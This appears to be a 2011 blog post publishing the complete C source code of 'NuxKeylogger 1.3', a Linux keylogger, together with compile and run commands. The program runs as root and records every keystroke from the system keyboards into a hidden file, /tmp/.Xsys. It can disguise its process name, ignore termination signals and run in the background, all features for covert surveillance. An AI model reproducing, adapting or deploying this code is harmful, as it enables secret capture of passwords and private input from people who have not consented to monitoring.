10 Jul 2011

NUXKEYLOGGER VERSION 1.3 (Key Logger For LINUX)


NUXKEYLOGGER VERSION 1.3  is an effective Key Logger For LINUX systems. 

Brief Description:- 
Nux Keylogger monitors keyboard activity on a Linux system.  It's possible to hide and daemonize this process and it supports azerty and qwerty keyboard modes.

Author:- Vilmain Nicolas (C) 2010, 2011 (null.sim@gmail.com)

Licence:-


This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.


Source Code of Nuxkeylogger Version 1.3:-

#include  <fcntl.h>
#include  <errno.h>
#include  <stdio.h>
#include  <unistd.h>
#include  <getopt.h>
#include  <stdlib.h>
#include  <string.h>
#include  <signal.h>
#include  <dirent.h>
#include  <sys/select.h>
#include  <linux/input.h>

#define DF_PATH_LOG             "/tmp/.Xsys"
#define PATH_KEYBOARD_FILE      "/dev/input/by-path/"
#define VERSION_STR             "nuxkeylogger version 1.3"
#define PATH_LEN                1024

#define  SIZE_TAB_KEY_AZERTY   sizeof (tab_key_azerty)
#define  SIZE_TAB_KEY_QWERTY   sizeof (tab_key_qwerty)

struct fdlist_s
  {
    int *fdtab;
    int n;
    int *p_lastfd;
    int fdlog;
  };

void    checkuid (void);
void    decode_nuxkeylogger_options (int argc, char **argv, char **pathlog);
void    version (void);
void    usage (void);
void    out_memory (const char *type);
char *  xstrdup (const char *str);
void    hide (int argc, char **argv, const char *name);
void    block_signal (void);
void    daemonize (void);
int     get_keyboard_fd (struct fdlist_s *fl);
int     open_fd_log (char *pathlog, int *fd);
void    loop_keyboard_key (struct fdlist_s *fl);
int     write_key (int fd, int fdlog);
void    free_fdlist (struct fdlist_s *fl);

static const char *tab_key_azerty[] =
  {
     "<ESC>", "&", "é", "\"", "'", "(", "-", "è", "_",
     "ç", "à ", ")", "=", "<BACKSPACE>", "<TAB>", "a",
     "z", "e", "r", "t", "y", "u", "i", "o","p", "^",
     "$", "<ENTER>\n", "<CTRL>", "q", "s", "d", "f", "g", "h",
     "j", "k", "l", "m", "ù", "²", "<SHIFT>", "*", "w",
     "x", "c", "v", "b", "n", ",", ";", ":", "!", "<SHIFT>",
     "*", "<ALT>", " ", "", "<F1>", "<F2>", "<F4>",
     "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "",
     "<VerNum>", "", "7", "8", "9", "-", "4", "5", "6",
     "+", "1", "2", "3", "0", "<?>", "", "", "<", "<F11>",
     "<F12>", "", "", "", "", "", "", "", "", "", "/", "",
     "<ALTGr>", "", "", "<Up>", "<UP>", "<Left>", "<Right>",
     "<END>", "<Down>", "<DOWN>", "", "<DEL>", "", "", "",
     "", "", "", "", "", "", "", "", "", "", "<META>"
  };

static const char *tab_key_qwerty[] =
  {
    "<ESC>", "!", "@", "#", "$", "%", "^", "&", "*",
    "(", ")", "_", "=", "<BACKSPACE>", "<TAB>", "q",
    "w", "e", "r", "t", "y", "u", "i", "o", "p",
    "[", "]", "<ENTER>\n", "<CTRL-LEFT>", "a", "s", "d",
    "f", "g", "h", "j", "k", "l", ";", "'", "`", "",
    "\\", "z", "x", "c", "v", "b", "n", "m", ",", "",
    "", "", "", "ALT", " ", "", "<F1>", "<F2>", "<F3>",
    "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>",
    "", "", "7","8", "9", "-", "4", "5", "6", "+", "1", "2",
    "3", "0", ".", "", "", "<", "<F11>", "<F12>", "", "",
    "", "", "", "", "", "<ENTER-RIGHT>", "<CTRL-RIGHT>", "",
    "", "<AltGR>",  "", "", "<Up>", "", "<LEFT>", "", "<RIGHT>",
    "", "<DOWN>", "", "", "", "", "", "", "", ""
  };

char **tab_key;

int
main (int argc, char **argv)
{
  struct fdlist_s fl;
  char *pathlog = NULL;

  checkuid ();
  memset (&fl, 0, sizeof (struct fdlist_s));
  fl.fdlog = -1;
  tab_key = (char **) tab_key_azerty;
  decode_nuxkeylogger_options (argc, argv, &pathlog);
  if (get_keyboard_fd (&fl)
      || open_fd_log (pathlog, &fl.fdlog) == -1)
    {
      free_fdlist (&fl);
      return EXIT_FAILURE;
    }
  loop_keyboard_key (&fl);
  free_fdlist (&fl);
  return EXIT_SUCCESS;
}

void
checkuid (void)
{
  if (getuid ())
    {
      fprintf (stderr, "WARNING: need root!\n");
      exit (EXIT_SUCCESS);
    }
}


void
decode_nuxkeylogger_options (int argc, char **argv, char **pathlog)
{
  char   opt;
  char   *name = NULL;
  static struct option const long_options[] =
    {
      {"help",           no_argument, 0,        'h'},
      {"version",        no_argument, 0,        'v'},
      {"daemonize",      no_argument, 0,        'd'},
      {"block-signals",  no_argument, 0,        's'},
      {"mode-qwerty",    no_argument, 0,        'Q'},
      {"mode-azerty",    no_argument, 0,        'A'},
      {"hidden",         required_argument, 0,  'i'},
      {"path-log",       required_argument, 0,  'p'},
      {0,                0,                 0,   0}
    };

  do
    {
      opt = getopt_long (argc, argv, "hvdsAQi:p:", long_options, NULL);
      switch (opt)
    {
    case 'h':
      usage ();
      break;
    case 'v':
      version ();
      break;
    case 'i':
      name = argv[optind - 1];
      break;
    case 'd':
      daemonize ();
      break;
    case 's':
      block_signal ();
      break;
    case 'A':
      tab_key = (char **) tab_key_azerty;
      break;
    case 'Q':
      tab_key = (char **) tab_key_qwerty;
      break;
    case 'p':
      *pathlog = xstrdup (optarg);
      break;
    }
    }
  while (opt != -1);
  if (name)
    hide (argc, argv, name);
}

void
version (void)
{
  puts (VERSION_STR);
  exit (EXIT_SUCCESS);
}

void
usage (void)
{
  printf ("Warning, in \"qwerty\" mode, it's possibility to error key-mapp\n"
      "arguments list:\n\r"
      "   -H, --help                  print usage and exit program\n\r"
      "   -V, --version               print program_version and exit\r\n"
      "   -d, --daemonize             exec program in background\r\n"
      "   -s, --block-signal          block all signal\r\n"
      "   -Q, --mode-qwerty           keyboard in qwerty mode\r\n"
      "   -A, --mode-azerty           keyboard in azerty mode"
      "(by default)\r\n"
      "   -i, --hidden [NEW NAME]     change program name\r\n"
      "   -p, --path-log [PATH]       name for output log file\r\n");
  exit (EXIT_SUCCESS);
}

void
out_memory (const char *type)
{
  fprintf (stderr, "%s: memory exhausted\n", type);
  exit (EXIT_FAILURE);
}

char *
xstrdup (const char *str)
{
  char *copy = NULL;

  copy = strdup (str);
  if (!copy)
    out_memory ("strdup");
  return copy;
}
   
void
hide (int argc, char **argv, const char *name)
{
  char  *newname = NULL;

  newname = xstrdup (name);
  for (; argc; argc--)
    memset (argv[argc - 1], 0, strlen (argv[argc - 1]));
  strcpy (argv[0], newname);
  free (newname);
}

void
block_signal (void)
{
  int *p_sig = NULL;
  static const int sigtab[] =
    {
      SIGUSR1, SIGUSR2, SIGINT, SIGPIPE, SIGQUIT,
      SIGTERM, SIGTSTP, SIGHUP, SIGILL, SIGABRT,
      SIGFPE, SIGSEGV, SIGALRM, SIGCHLD, SIGCONT,
      SIGTTIN, SIGTTOU, 0
    };
 
  p_sig = (int *) sigtab;
  do
    signal (*p_sig, SIG_IGN);
  while (*++p_sig);
}

void
daemonize (void)
{
  pid_t pid;

  pid = fork ();
  if (pid == -1)
    {
      perror ("fork");
      exit (EXIT_FAILURE);
    }
  else if (pid)
    exit (EXIT_SUCCESS);
}

int
get_keyboard_fd (struct fdlist_s *fl)
{
  struct dirent *ent = NULL;
  DIR *dir = NULL;
  char path[PATH_LEN];

  dir = opendir (PATH_KEYBOARD_FILE);
  if (!dir)
    {
      fprintf (stderr, "opendir: %s\n", strerror (errno));
      return -1;
    }
  for (;;)
    {
      ent = readdir (dir);
      if (!ent)
    break;
      if (strstr(ent->d_name, "-kbd"))
    {
      memset (path, 0, PATH_LEN);
      snprintf (path, (PATH_LEN - 1), "%s%s",
            PATH_KEYBOARD_FILE, ent->d_name);
      fl->n++;
      fl->fdtab = realloc (fl->fdtab, (fl->n * sizeof (int)));
      fl->fdtab[fl->n - 1] = open (path, O_RDONLY);
      if (fl->fdtab[fl->n - 1] == -1)
        {
          fprintf (stderr, "open(%s): %s", path, strerror (errno));
          closedir (dir);
          return -1;
        }
    }
    }
  closedir (dir);
  fl->p_lastfd = &fl->fdtab[fl->n - 1];
  return 0;
}

int
open_fd_log (char *pathlog, int *fd)
{
  char *p_log = NULL;

  p_log = (pathlog) ? pathlog : DF_PATH_LOG;
  *fd = open (p_log, O_WRONLY | O_CREAT | O_APPEND);
  if (*fd == -1)
    fprintf (stderr, "open(%s): %s\n", p_log, strerror (errno));
  if (pathlog)
    free (pathlog);
  return *fd;
}

void
free_fdlist (struct fdlist_s *fl)
{
  int i;

  if (fl->fdtab)
    {
      for (i = 0; i < fl->n; i++)
    {
      if (fl->fdtab[i] != -1)
        close (fl->fdtab[i]);
    }
      free (fl->fdtab);
    }
  if (fl->fdlog != -1)
    close (fl->fdlog);
}

void
loop_keyboard_key (struct fdlist_s *fl)
{
  int n;
  int ret;
  fd_set setread;

  for (;;)
    {
      FD_ZERO (&setread);
      for (n = 0; n < fl->n; n++)
    FD_SET (fl->fdtab[n], &setread);
      ret = select (*fl->p_lastfd + 1, &setread, NULL, NULL, NULL);
      if (ret == -1)
    return;
      else if (ret)
    {
      for (n = 0; n < fl->n; n++)
        if (FD_ISSET (fl->fdtab[n], &setread))
          {
        if (write_key (fl->fdtab[n], fl->fdlog) == -1)
          return;
          }
    }
    }
}

int
write_key (int fd, int fdlog)
{
  struct input_event ev;
  char *key = NULL;

  if (read(fd, &ev, sizeof(struct input_event))
      == sizeof(struct input_event))
    {
      if ((ev.value == EV_KEY || ev.value == 2)
      && (ev.code - 1) > -1 && (ev.code - 1) < 118)
    {
      key = tab_key[ev.code - 1];
      if (write (fdlog, key, strlen (key)) == -1)
        return -1;
    }
    }
  return 0;
}


For Installation:- 

$ gcc -o nuxkeylogger nuxkeylogger.c -W -Wall 
# ./nuxkeylogger --help